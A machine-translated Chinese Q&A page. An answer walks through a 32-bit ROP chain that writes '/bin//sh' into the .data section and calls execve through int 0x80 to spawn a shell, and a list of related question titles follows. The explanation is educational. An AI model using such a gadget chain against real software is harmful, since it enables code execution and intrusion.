-2
A
回答
0
簡而言之,@ .data
行是指用於寫入"/bin//sh"
字符串的可寫內存,稍後執行。 .data
部分只是可執行文件的可讀/可寫部分,它被加載到內存中,通常用於存儲全局變量。
這裏是如何的ROP鏈工程細目:
pop edx ; ret
@ .data
這兩個小工具彈出.data
段的地址爲edx
。
pop eax ; ret
'/bin'
這些小工具彈出0x6e69622f
,或前四個字符的字符串/bin//sh
成eax
mov dword ptr [edx], eax ; ret
那麼這在地址edx
寫入的eax
內容;在這一點上串的前四個字符已在.data
部分
pop edx ; ret
@ .data + 4
pop eax ; ret
'//sh'
mov dword ptr [edx], eax ; ret
這部分不完全一樣的事情寫在四個字節字符串
的開始被寫入然後這個字符串寫入後空4個字節空終止它
pop ebx ; ret
@ .data
這得到字符串的地址ebx
pop ecx ; pop ebx ; ret
@ .data + 8
padding without overwrite ebx
這寫.data+8
到ecx
和寫入.data
到ebx
。 (請注意,第三行這裏是0x080f4060
,我們可以看到的是上述.data
三行相同的地址)
pop edx ; ret
@ .data + 8
此寫入.data+8
到edx
xor eax, eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
此寫入11
到eax
int 0x80
這會在Linux上執行系統調用。 Here是理解系統調用的好資源。我們看到,當eax
是11(0xb
),它是一個execve
呼叫,其定義如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
所以後來ebx
是filename
,ecx
是argv
,並edx
是envp
。此時,ebx
指向字符串/bin//sh
,並且ecx
和edx
都是.data+8
。它們都被視爲字符串,但由於.data+8
包含空字節,所以ecx
和edx
是空字符串。所以電話本質上是execve("/bin//sh", "", "");
相關問題
- 1. Facebook自動發佈到頁面編程方式通過Cron
- 2. 通過遠程桌面進行開發
- 3. 什麼是面向回程的編程?
- 4. 開發編程庫的敏捷過程
- 5. 面向方面的開發/編程資源
- 6. 返回面向編程編譯器
- 7. 面向noobs的Android開發課程
- 8. 開幕的UIView通過編程的iOS
- 9. 通過編程以塊形式在視圖頁面中滑動頁面編程
- 10. 通過編程開關的iOS
- 11. 面向功能,動態和麪向方面編程的模式
- 12. 這是不好的面向對象編程嗎?通過方法
- 13. 通過面向對象編程的Python參數
- 14. 開發Web應用程序,面向移動開發人員的問題
- 15. 通過編程
- 16. 面向方面編程C#
- 17. 面向方面編程StructureMap.DynamicInterception
- 18. 通過開發模式中的元編程刪除simpledb map
- 19. 面向facebook的編程
- 20. 通過Samba或活動目錄開發自動化軟件部署程序
- 21. 通過代碼打開EditTextPreference(編程)
- 22. 通過意向URI啓動我的桌面應用程序
- 23. 測試驅動的開發過程
- 24. 通過SCTP開發應用程序
- 25. 通過Web應用程序開發
- 26. Drupal 7通過編程導入頁面
- 27. 方面編程通過參考
- 28. 面向程序編程人員的OOP
- 29. Phonegap開發過程
- 30. 通過Windows套接字編程開發Web服務器C